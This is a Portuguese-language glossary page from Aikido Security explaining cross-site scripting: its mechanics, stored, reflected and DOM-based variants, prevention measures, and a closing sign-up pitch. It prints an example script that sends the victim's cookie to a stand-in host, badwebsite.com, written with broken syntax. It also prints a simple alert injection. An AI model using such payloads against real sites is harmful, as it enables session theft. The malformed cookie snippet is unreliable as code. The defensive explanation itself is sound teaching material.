Aikido
Glossário de segurança das aplicações

Vulnerabilidades XSS

O que é XSS? E como pode evitar que aconteça? Iremos analisar as vulnerabilidades comuns e como evitar que ocorram na sua base de código.

O que é XSS?

O Cross-site scripting (XSS) é uma forma de ataque cibernético em que um agente malicioso injecta scripts executáveis nocivos no código de um sítio Web ou aplicação fiável. Normalmente, os atacantes induzem os utilizadores a clicar numa ligação maliciosa, explorando vulnerabilidades na plataforma visada. Se o sítio Web ou a aplicação não dispuser de uma higienização adequada dos dados, a ligação injectada pode executar o código escolhido pelo atacante no sistema do utilizador, permitindo-lhe roubar o cookie de sessão ativo do utilizador.

Então, como é que o cross-site scripting funciona realmente? Considere este exemplo:

htmlCopy code<script> i=new/**/Image();isrc=http://badwebsite.com/log.php?'+document.cookie+' '+document.location</script>

Embora o payload seja normalmente JavaScript, os ataques XSS podem ocorrer com qualquer linguagem do lado do cliente.

Para levar a cabo um ataque de scripting entre sítios, o atacante injecta um script malicioso na entrada fornecida pelo utilizador ou manipula um pedido. Se a aplicação Web for vulnerável, a entrada fornecida pelo utilizador é executada como código. Por exemplo, no seguinte pedido, um script apresenta uma caixa de mensagem com o texto "xss":

phpCopy code<http://www.website.com/page.php?var=><script>alert('xss');</script>

Os ataques XSS podem ser desencadeados de várias formas, por exemplo, automaticamente quando uma página é carregada ou quando um utilizador passa o rato sobre elementos específicos, como hiperligações.

As potenciais consequências dos ataques XSS são graves, desde a captura das teclas premidas pelo utilizador até ao seu redireccionamento para sítios Web maliciosos, passando pela execução de exploits baseados no browser e pelo comprometimento das contas dos utilizadores através da obtenção dos seus cookies de sessão.

Diferentes abordagens aos ataques XSS

  1. XSS armazenado: A carga maliciosa é armazenada numa base de dados e é apresentada a outros utilizadores quando solicitada se não houver codificação ou sanitização da saída.
  2. XSS refletido: A aplicação web envia cadeias de caracteres fornecidas pelo atacante para o browser da vítima, que executa parte da cadeia de caracteres como código. O payload ecoa de volta sem a codificação de saída do lado do servidor.
  3. XSS baseado em DOM: Um atacante injeta um script numa resposta, permitindo-lhe ler e manipular os dados do Modelo de Objeto de Documento (DOM) para criar um URL malicioso. Todo o ataque tem lugar no browser do cliente sem envolver o servidor.

Como evitar vulnerabilidades XSS

Para evitar vulnerabilidades XSS, implemente medidas de segurança no início do ciclo de vida do desenvolvimento, efectue testes de segurança e siga as melhores práticas:

  • Nunca confiar na entrada do utilizador: Validar e higienizar a entrada de fontes não confiáveis.
  • Implementar a codificação de saída: Escape a entrada do utilizador para evitar que os navegadores a interpretem como código.
  • Siga o princípio da defesa em profundidade: Utilize vários controlos de segurança para uma proteção abrangente.
  • Alinhe-se com a folha de dicas de prevenção de XSS da OWASP: Utilize técnicas experimentadas e testadas, personalizadas para a sua aplicação.
  • Efetuar testes de penetração: Confirmar a correção bem sucedida através da simulação de cenários de ataque reais.
  • Mantenha-se atualizado: Siga as diretrizes de desenvolvimento seguro, incorpore a segurança em todas as fases e assegure-se de que os programadores estão a par das melhores práticas de prevenção de XSS. Utilize bibliotecas de codificação de saída relevantes para as suas linguagens de programação e estruturas.

Ao adotar estas estratégias, pode fortalecer a sua organização contra os riscos colocados pelos ataques de scripting entre sítios.

Com o Aikido Security, pode evitar CVE's como o abuso de XSS no seu código. Monitorizaremos o código da sua aplicação Web e notificá-lo-emos sempre que surgirem riscos. Inicie um teste para verificar se existem vulnerabilidades no seu código!

Começar gratuitamente

Ligue a sua conta GitHub, GitLab, Bitbucket ou Azure DevOps para começar a analisar os seus repositórios gratuitamente.

Comece de graça
Os seus dados não serão partilhados - Acesso só de leitura